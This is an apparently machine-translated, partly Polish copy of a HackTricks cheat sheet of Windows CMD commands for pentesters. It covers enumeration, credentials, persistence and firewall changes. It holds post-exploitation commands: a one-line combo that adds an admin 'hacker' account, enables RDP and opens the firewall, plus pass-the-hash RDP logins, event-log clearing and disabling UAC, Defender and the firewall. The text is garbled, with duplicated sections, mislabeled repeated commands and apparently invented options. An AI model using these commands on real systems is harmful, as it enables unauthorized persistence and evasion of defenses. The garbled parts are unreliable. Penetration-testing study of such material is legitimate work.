hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2024-04-06 19:35:05 +00:00

56 KiB
Raw Blame History

Basic Win CMD for Pentesters

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Informacje o systemie

Informacje o wersji i łatkach

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?

Środowisko


Basic CMD for Pentesters

Podstawowe polecenia CMD dla pentesterów


System Information

Informacje o systemie

System Version

Wersja systemu

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

System Architecture

Architektura systemu

wmic os get osarchitecture

List Users

Wyświetl użytkowników

net user

List Groups

Wyświetl grupy

net localgroup

List Network Interfaces

Wyświetl interfejsy sieciowe

ipconfig /all

List Running Processes

Wyświetl uruchomione procesy

tasklist

List Installed Programs

Wyświetl zainstalowane programy

wmic product get name,version

File System

System plików

List Files and Directories

Wyświetl pliki i katalogi

dir

Change Directory

Zmień katalog

cd <directory>

Create Directory

Utwórz katalog

mkdir <directory>

Delete Directory

Usuń katalog

rmdir <directory>

Copy File

Skopiuj plik

copy <source> <destination>

Move File

Przenieś plik

move <source> <destination>

Delete File

Usuń plik

del <file>

Network

Sieć

Ping

Ping

ping <host>

Traceroute

Traceroute

tracert <host>

Netstat

Netstat

netstat -ano

Port Scanning

Skanowanie portów

nmap -p- <host>

User Accounts

Konta użytkowników

Create User Account

Utwórz konto użytkownika

net user <username> <password> /add

Delete User Account

Usuń konto użytkownika

net user <username> /delete

Add User to Group

Dodaj użytkownika do grupy

net localgroup <groupname> <username> /add

Remove User from Group

Usuń użytkownika z grupy

net localgroup <groupname> <username> /delete

Services

Usługi

List Services

Wyświetl usługi

net start

Start Service

Uruchom usługę

net start <servicename>

Stop Service

Zatrzymaj usługę

net stop <servicename>

Disable Service

Wyłącz usługę

sc config <servicename> start= disabled

Registry

Rejestr

List Registry Keys

Wyświetl klucze rejestru

reg query HKLM\Software

Read Registry Key

Odczytaj klucz rejestru

reg query <key>

Create Registry Key

Utwórz klucz rejestru

reg add <key>

Delete Registry Key

Usuń klucz rejestru

reg delete <key>

Task Scheduler

Harmonogram zadań

List Scheduled Tasks

Wyświetl zaplanowane zadania

schtasks /query /fo LIST /v

Create Scheduled Task

Utwórz zaplanowane zadanie

schtasks /create /sc <schedule> /tn <taskname> /tr <command>

Delete Scheduled Task

Usuń zaplanowane zadanie

schtasks /delete /tn <taskname> /f

Event Logs

Dzienniki zdarzeń

List Event Logs

Wyświetl dzienniki zdarzeń

wevtutil el

Read Event Log

Odczytaj dziennik zdarzeń

wevtutil qe <logname>

Clear Event Log

Wyczyść dziennik zdarzeń

wevtutil cl <logname>

Firewall

Zapora

List Firewall Rules

Wyświetl reguły zapory

netsh advfirewall firewall show rule name=all

Add Firewall Rule

Dodaj regułę zapory

netsh advfirewall firewall add rule name=<rulename> dir=in action=allow protocol=<protocol> localport=<port>

Delete Firewall Rule

Usuń regułę zapory

netsh advfirewall firewall delete rule name=<rulename>

Miscellaneous

Różne

System Information

Informacje o systemie

systeminfo

System Uptime

Czas pracy systemu

systeminfo | find "System Boot Time"

Date and Time

Data i czas

date /t & time /t

Tasklist

Tasklist

tasklist

Taskkill

Taskkill

taskkill /f /im <processname>

Run Command as Administrator

Uruchom polecenie jako administrator

runas /user:<username> "cmd.exe"

Exit Command Prompt

Zamknij wiersz polecenia

exit
set #List all environment variables

Niezbedne zmienne środowiskowe:

  • COMPUTERNAME: Nazwa komputera
  • TEMP/TMP: Folder tymczasowy
  • USERNAME: Twoja nazwa użytkownika
  • HOMEPATH/USERPROFILE: Katalog domowy
  • windir: C:\Windows
  • OS: System operacyjny Windows
  • LOGONSERVER: Nazwa kontrolera domeny
  • USERDNSDOMAIN: Nazwa domeny do użycia z DNS
  • USERDOMAIN: Nazwa domeny
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

Zamontowane dyski

W systemie Windows można zamontować dodatkowe dyski, które są dostępne jako osobne litery dysków. Można to zrobić za pomocą polecenia diskpart lub za pomocą interfejsu graficznego. Poniżej przedstawiono kilka przykładów dotyczących zarządzania zamontowanymi dyskami.

Wyświetlanie zamontowanych dysków

Aby wyświetlić listę zamontowanych dysków, można użyć polecenia wmic logicaldisk get deviceid, volumename, description. Spowoduje to wyświetlenie informacji o wszystkich zamontowanych dyskach, takich jak identyfikator urządzenia, nazwa woluminu i opis.

Montowanie dysku

Aby zamontować nowy dysk, można użyć polecenia diskpart w wierszu poleceń. Należy wpisać diskpart, a następnie użyć poleceń list disk, select disk X (gdzie X to numer dysku) i assign letter=Y (gdzie Y to litera, którą chcemy przypisać do dysku).

Odłączanie dysku

Aby odłączyć zamontowany dysk, można użyć polecenia diskpart. Należy wpisać diskpart, a następnie użyć poleceń list volume, select volume X (gdzie X to numer woluminu) i remove letter=Y (gdzie Y to litera przypisana do dysku).

Automatyczne montowanie dysku przy starcie systemu

Aby skonfigurować automatyczne montowanie dysku przy starcie systemu, można użyć polecenia diskpart. Należy wpisać diskpart, a następnie użyć poleceń list volume, select volume X (gdzie X to numer woluminu) i assign letter=Y (gdzie Y to litera, którą chcemy przypisać do dysku). Następnie należy wpisać exit, aby wyjść z diskpart.

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername

Defender

Kosz

dir C:\$Recycle.Bin /s /b

Procesy, Usługi i Oprogramowanie

Procesy

Aby wyświetlić listę uruchomionych procesów, użyj polecenia:

tasklist

Aby zakończyć proces, użyj polecenia:

taskkill /PID <PID_procesu>

Usługi

Aby wyświetlić listę uruchomionych usług, użyj polecenia:

net start

Aby zatrzymać usługę, użyj polecenia:

net stop <nazwa_usługi>

Oprogramowanie

Aby wyświetlić zainstalowane oprogramowanie, użyj polecenia:

wmic product get name,version

Aby odinstalować oprogramowanie, użyj polecenia:

wmic product where name="<nazwa_oprogramowania>" call uninstall

Rejestr systemu Windows

Aby wyświetlić zawartość klucza rejestru, użyj polecenia:

reg query "<ścieżka_do_klucza>"

Aby zmienić wartość klucza rejestru, użyj polecenia:

reg add "<ścieżka_do_klucza>" /v "<nazwa_wartości>" /t REG_SZ /d "<nowa_wartość>" /f

Aby usunąć klucz rejestru, użyj polecenia:

reg delete "<ścieżka_do_klucza>" /f

Harmonogram zadań

Aby wyświetlić listę zaplanowanych zadań, użyj polecenia:

schtasks /query /fo LIST

Aby usunąć zaplanowane zadanie, użyj polecenia:

schtasks /delete /tn "<nazwa_zadania>" /f

Usługi zdalne

Aby sprawdzić, czy usługi zdalne są włączone, użyj polecenia:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

Aby włączyć usługi zdalne, użyj polecenia:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Aby wyłączyć usługi zdalne, użyj polecenia:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Firewall

Aby wyświetlić konfigurację zapory sieciowej, użyj polecenia:

netsh advfirewall show allprofiles

Aby włączyć zapórę sieciową, użyj polecenia:

netsh advfirewall set allprofiles state on

Aby wyłączyć zapórę sieciową, użyj polecenia:

netsh advfirewall set allprofiles state off

UAC (User Account Control)

Aby sprawdzić ustawienia UAC, użyj polecenia:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA

Aby włączyć UAC, użyj polecenia:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f

Aby wyłączyć UAC, użyj polecenia:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f

Windows Defender

Aby sprawdzić stan Windows Defender, użyj polecenia:

sc query WinDefend

Aby włączyć Windows Defender, użyj polecenia:

sc start WinDefend

Aby wyłączyć Windows Defender, użyj polecenia:

sc stop WinDefend

Windows Update

Aby sprawdzić stan Windows Update, użyj polecenia:

sc query wuauserv

Aby włączyć Windows Update, użyj polecenia:

sc start wuauserv

Aby wyłączyć Windows Update, użyj polecenia:

sc stop wuauserv
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

Informacje o domenie

Whois

Whois to protokół internetowy służący do uzyskiwania informacji o domenach. Pozwala na sprawdzenie dostępności domeny oraz uzyskanie informacji o jej właścicielu.

whois <domena>

DNS

DNS (Domain Name System) to system umożliwiający przypisywanie adresów IP do nazw domenowych. Pozwala na tłumaczenie nazw domenowych na adresy IP i odwrotnie.

nslookup <domena>

Reverse DNS

Reverse DNS to proces tłumaczenia adresu IP na nazwę domeny. Pozwala na sprawdzenie, jakie domeny są powiązane z danym adresem IP.

nslookup <adres IP>

MX Records

MX Records (Mail Exchange Records) to rekordy DNS, które wskazują, które serwery pocztowe są odpowiedzialne za obsługę poczty dla danej domeny.

nslookup -type=mx <domena>

SPF Records

SPF Records (Sender Policy Framework Records) to rekordy DNS, które określają, które serwery są uprawnione do wysyłania poczty w imieniu danej domeny. Pomagają w zwalczaniu spamu i fałszywych wiadomości e-mail.

nslookup -type=txt <domena>

DKIM Records

DKIM Records (DomainKeys Identified Mail Records) to rekordy DNS, które służą do weryfikacji autentyczności wiadomości e-mail. Pozwalają na sprawdzenie, czy wiadomość została wysłana przez uprawnionego nadawcę.

nslookup -type=txt <domena>._domainkey.<domena>

DMARC Records

DMARC Records (Domain-based Message Authentication, Reporting, and Conformance Records) to rekordy DNS, które określają politykę weryfikacji autentyczności wiadomości e-mail. Pozwalają na ochronę przed fałszywymi wiadomościami e-mail.

nslookup -type=txt _dmarc.<domena>
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

Dzienniki i zdarzenia

W systemie Windows istnieje wiele rodzajów dzienników i zdarzeń, które mogą dostarczyć cennych informacji podczas testowania penetracyjnego. Poniżej przedstawiam kilka przykładów najważniejszych dzienników i zdarzeń, które warto monitorować:

Dziennik aplikacji (Application Log)

Dziennik aplikacji zawiera informacje o zdarzeniach związanych z aplikacjami działającymi na systemie. Może zawierać błędy, ostrzeżenia, informacje o uruchamianiu i zamykaniu aplikacji.

Dziennik zabezpieczeń (Security Log)

Dziennik zabezpieczeń zawiera informacje o zdarzeniach związanych z bezpieczeństwem systemu. Może zawierać informacje o logowaniu, nieudanych próbach logowania, zmianach uprawnień użytkowników, atakach na system itp.

Dziennik systemu (System Log)

Dziennik systemu zawiera informacje o zdarzeniach związanych z działaniem samego systemu. Może zawierać informacje o błędach systemowych, awariach sprzętu, zmianach konfiguracji systemu itp.

Dziennik usług (Service Log)

Dziennik usług zawiera informacje o zdarzeniach związanych z działaniem usług systemowych. Może zawierać informacje o uruchamianiu, zatrzymywaniu, awariach i innych zdarzeniach związanych z usługami.

Dziennik bezpieczeństwa (Audit Log)

Dziennik bezpieczeństwa zawiera informacje o zdarzeniach związanych z audytem systemu. Może zawierać informacje o zmianach w politykach bezpieczeństwa, próbach dostępu do chronionych zasobów, zmianach w konfiguracji systemu itp.

Dziennik aplikacji internetowej (Web Application Log)

Dziennik aplikacji internetowej zawiera informacje o zdarzeniach związanych z działaniem aplikacji internetowych. Może zawierać informacje o żądaniach HTTP, błędach aplikacji, próbach ataków itp.

Dziennik rejestru (Registry Log)

Dziennik rejestru zawiera informacje o zdarzeniach związanych z modyfikacją rejestru systemu. Może zawierać informacje o zmianach w kluczach rejestru, dodawaniu, usuwaniu lub modyfikowaniu wartości itp.

Dziennik firewalla (Firewall Log)

Dziennik firewalla zawiera informacje o zdarzeniach związanych z działaniem firewalla systemowego. Może zawierać informacje o blokowaniu lub zezwalaniu na połączenia sieciowe, atakach na system itp.

Dziennik audytu (Audit Log)

Dziennik audytu zawiera informacje o zdarzeniach związanych z audytem systemu. Może zawierać informacje o zmianach w politykach bezpieczeństwa, próbach dostępu do chronionych zasobów, zmianach w konfiguracji systemu itp.

Dziennik aplikacji internetowej (Web Application Log)

Dziennik aplikacji internetowej zawiera informacje o zdarzeniach związanych z działaniem aplikacji internetowych. Może zawierać informacje o żądaniach HTTP, błędach aplikacji, próbach ataków itp.

Dziennik rejestru (Registry Log)

Dziennik rejestru zawiera informacje o zdarzeniach związanych z modyfikacją rejestru systemu. Może zawierać informacje o zmianach w kluczach rejestru, dodawaniu, usuwaniu lub modyfikowaniu wartości itp.

Dziennik firewalla (Firewall Log)

Dziennik firewalla zawiera informacje o zdarzeniach związanych z działaniem firewalla systemowego. Może zawierać informacje o blokowaniu lub zezwalaniu na połączenia sieciowe, atakach na system itp.

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

List all users

net user

Get detailed information about a specific user

net user <username>

Create a new user

net user <username> <password> /add

Delete a user

net user <username> /delete

Groups

List all groups

net localgroup

Get detailed information about a specific group

net localgroup <groupname>

Create a new group

net localgroup <groupname> /add

Add a user to a group

net localgroup <groupname> <username> /add

Remove a user from a group

net localgroup <groupname> <username> /delete

Services

List all services

sc query

Get detailed information about a specific service

sc query <servicename>

Start a service

sc start <servicename>

Stop a service

sc stop <servicename>

Restart a service

sc stop <servicename> && sc start <servicename>

Change the startup type of a service

sc config <servicename> start= <boot_type>

Replace <boot_type> with one of the following values:

  • boot (start at boot)
  • system (start during system startup)
  • auto (start automatically)
  • demand (start on demand)
  • disabled (do not start)
  • delayed-auto (start automatically, but delayed)

Disable a service

sc config <servicename> start= disabled

Enable a service

sc config <servicename> start= demand
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe

Grupy

Grupy w systemie Windows są kolekcją użytkowników, którzy mają wspólne uprawnienia i dostęp do zasobów systemowych. Grupy są używane do zarządzania uprawnieniami i kontroli dostępu w systemie.

Wyświetlanie grup

Aby wyświetlić listę grup w systemie, możesz użyć polecenia net localgroup lub net group. Oto przykład:

net localgroup

Tworzenie grup

Aby utworzyć nową grupę, możesz użyć polecenia net localgroup z opcją /add. Na przykład:

net localgroup <nazwa_grupy> /add

Dodawanie użytkowników do grupy

Aby dodać użytkownika do grupy, możesz użyć polecenia net localgroup z opcją /add. Na przykład:

net localgroup <nazwa_grupy> <nazwa_użytkownika> /add

Usuwanie grupy

Aby usunąć grupę, możesz użyć polecenia net localgroup z opcją /delete. Na przykład:

net localgroup <nazwa_grupy> /delete

Usuwanie użytkownika z grupy

Aby usunąć użytkownika z grupy, możesz użyć polecenia net localgroup z opcją /delete. Na przykład:

net localgroup <nazwa_grupy> <nazwa_użytkownika> /delete

Wyświetlanie członków grupy

Aby wyświetlić członków danej grupy, możesz użyć polecenia net localgroup z opcją /domain. Na przykład:

net localgroup <nazwa_grupy> /domain

Zmiana nazwy grupy

Aby zmienić nazwę grupy, możesz użyć polecenia net localgroup z opcją /rename. Na przykład:

net localgroup <stara_nazwa_grupy> <nowa_nazwa_grupy> /rename

Zmiana opisu grupy

Aby zmienić opis grupy, możesz użyć polecenia net localgroup z opcją /comment. Na przykład:

net localgroup <nazwa_grupy> /comment:"Nowy opis grupy"

Zmiana typu grupy

Aby zmienić typ grupy, możesz użyć polecenia net localgroup z opcją /domain. Na przykład:

net localgroup <nazwa_grupy> /domain

Zmiana uprawnień grupy

Aby zmienić uprawnienia grupy, możesz użyć polecenia icacls z odpowiednimi opcjami. Na przykład:

icacls <ścieżka_do_zasobu> /grant <nazwa_grupy>:<uprawnienia>
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

To list active sessions in Windows, you can use the query session command. This command will display information about each active session, including the session ID, username, and session state.

C:\> query session

This will provide you with a list of all active sessions on the system.

qwinsta
klist sessions

Polityka hasła

A password policy is a set of rules and requirements that dictate how passwords should be created and managed within a system. It is an important aspect of security as weak passwords can be easily compromised, leading to unauthorized access to sensitive information.

Minimum Length: The minimum length of a password should be defined to ensure that it is not too short and easily guessable. A longer password is generally more secure.

Complexity: Passwords should be required to contain a combination of uppercase and lowercase letters, numbers, and special characters. This helps to increase the complexity of the password and make it harder to crack.

Expiration: Passwords should have an expiration period, after which they must be changed. This helps to ensure that passwords are regularly updated and reduces the risk of unauthorized access.

History: Users should be prevented from reusing their previous passwords. This prevents the reuse of compromised passwords and encourages the use of unique passwords.

Account Lockout: After a certain number of failed login attempts, an account should be locked to prevent brute-force attacks. This helps to protect against unauthorized access attempts.

Two-Factor Authentication: Implementing two-factor authentication adds an extra layer of security by requiring users to provide a second form of verification, such as a code sent to their mobile device, in addition to their password.

By implementing a strong password policy, organizations can significantly enhance the security of their systems and protect sensitive data from unauthorized access.

net accounts

Poświadczenia

Credentials (poświadczenia) to informacje uwierzytelniające, które są używane do potwierdzenia tożsamości użytkownika. Mogą to być nazwy użytkowników, hasła, klucze API, certyfikaty SSL itp. W kontekście pentestów, zdobycie poświadczeń może umożliwić hakerowi uzyskanie nieautoryzowanego dostępu do systemu lub aplikacji. Istnieje wiele technik, które mogą być wykorzystane do zdobycia poświadczeń, takich jak ataki brute force, phishing, keylogging, sniffing itp. Dlatego ważne jest, aby chronić swoje poświadczenia i stosować odpowiednie zabezpieczenia, takie jak silne hasła, autoryzacja dwuskładnikowa itp.

cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access

Trwałość z użytkownikami

Utwórz nowego użytkownika

net user <nazwa_użytkownika> <hasło> /add

Dodaj użytkownika do grupy administratorów

net localgroup administrators <nazwa_użytkownika> /add

Dodaj użytkownika do grupy zdalnego pulpitu

net localgroup "Remote Desktop Users" <nazwa_użytkownika> /add

Dodaj użytkownika do grupy użytkowników zdalnych

net localgroup "Remote Desktop Users" <nazwa_użytkownika> /add

Utwórz nową usługę

sc create <nazwa_usługi> binPath= "<ścieżka_do_pliku>" start= auto

Dodaj użytkownika do grupy usługodawców

sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>"

Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora

sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi

sc config <nazwa_usługi> obj= "LocalSystem" password= ""

Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu

sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= ""

Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi

sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= ""

Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora i interakcją z pulpitem

sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi i interakcją z pulpitem

sc config <nazwa_usługi> obj= "LocalSystem" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu i interakcją z pulpitem

sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi i interakcją z pulpitem

sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora i interakcją z pulpitem

sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi i interakcją z pulpitem

sc config <nazwa_usługi> obj= "LocalSystem" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu i interakcją z pulpitem

sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi i interakcją z pulpitem

sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora i interakcją z pulpitem

sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi i interakcją z pulpitem

sc config <nazwa_usługi> obj= "LocalSystem" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu i interakcją z pulpitem

sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= "" type= interact

Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi i interakcją z pulpitem

sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= "" type= interact
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

Sieć

Interfejsy, trasy, porty, hosty i pamięć podręczna DNS

Interfejsy

Aby wyświetlić informacje o interfejsach sieciowych, użyj polecenia ipconfig:

ipconfig

Trasy

Aby wyświetlić tablicę tras, użyj polecenia route print:

route print

Porty

Aby sprawdzić otwarte porty na hoście, użyj polecenia netstat:

netstat -ano

Hosty

Aby sprawdzić listę hostów w sieci, użyj polecenia arp:

arp -a

Pamięć podręczna DNS

Aby wyczyścić pamięć podręczną DNS, użyj polecenia ipconfig:

ipconfig /flushdns
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

Zapora ogniowa

Firewall (zapora ogniowa) to narzędzie oprogramowania lub sprzętu, które kontroluje ruch sieciowy między siecią wewnętrzną a zewnętrzną. Jego głównym celem jest ochrona sieci przed nieautoryzowanym dostępem i atakami z zewnątrz.

Typy zapór ogniowych

  1. Zapora ogniowa na poziomie sieci (Network-level firewall): Pracuje na warstwie sieciowej modelu OSI i kontroluje ruch na podstawie adresów IP i portów. Może blokować lub zezwalać na ruch na podstawie określonych reguł.
  2. Zapora ogniowa na poziomie aplikacji (Application-level firewall): Pracuje na wyższych warstwach modelu OSI i analizuje dane w pakietach sieciowych. Może rozpoznawać i blokować konkretne typy ataków, takie jak ataki DDoS czy próby wykorzystania podatności w aplikacjach.

Konfiguracja zapory ogniowej

Konfiguracja zapory ogniowej obejmuje określenie reguł, które określają, jakie rodzaje ruchu są dozwolone lub blokowane. Reguły mogą być oparte na adresach IP, portach, protokołach i innych czynnikach. Ważne jest, aby skonfigurować zaporę ogniową zgodnie z zasadami bezpieczeństwa i wymaganiami sieci.

Zalety zapory ogniowej

  • Ochrona przed nieautoryzowanym dostępem do sieci.
  • Blokowanie ataków z zewnątrz.
  • Kontrola ruchu sieciowego.
  • Zwiększenie bezpieczeństwa sieci.

Wnioski

Zapora ogniowa jest niezbędnym narzędziem w zabezpieczaniu sieci przed atakami z zewnątrz. Poprawna konfiguracja i regularne aktualizacje są kluczowe dla utrzymania wysokiego poziomu bezpieczeństwa sieci.

netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

Udostępnienia

Wyświetlanie udostępnionych zasobów

Aby wyświetlić listę udostępnionych zasobów na komputerze, użyj polecenia net share:

net share

Tworzenie nowego udostępnienia

Aby utworzyć nowe udostępnienie, użyj polecenia net share z odpowiednimi parametrami. Na przykład, aby utworzyć udostępnienie o nazwie "Dane" dla folderu "C:\Dane", wykonaj następujące polecenie:

net share Dane=C:\Dane

Usuwanie udostępnienia

Aby usunąć istniejące udostępnienie, użyj polecenia net share z odpowiednim parametrem /delete. Na przykład, aby usunąć udostępnienie o nazwie "Dane", wykonaj następujące polecenie:

net share Dane /delete

Modyfikowanie udostępnienia

Aby zmodyfikować istniejące udostępnienie, użyj polecenia net share z odpowiednimi parametrami. Na przykład, aby zmienić ścieżkę folderu dla udostępnienia o nazwie "Dane" na "C:\NoweDane", wykonaj następujące polecenie:

net share Dane=C:\NoweDane /remark:"Nowe udostępnienie"

Wyłączanie udostępniania

Aby wyłączyć udostępnianie dla danego zasobu, użyj polecenia net share z odpowiednim parametrem /delete. Na przykład, aby wyłączyć udostępnianie dla udostępnienia o nazwie "Dane", wykonaj następujące polecenie:

net share Dane /delete

Zabezpieczanie udostępnienia

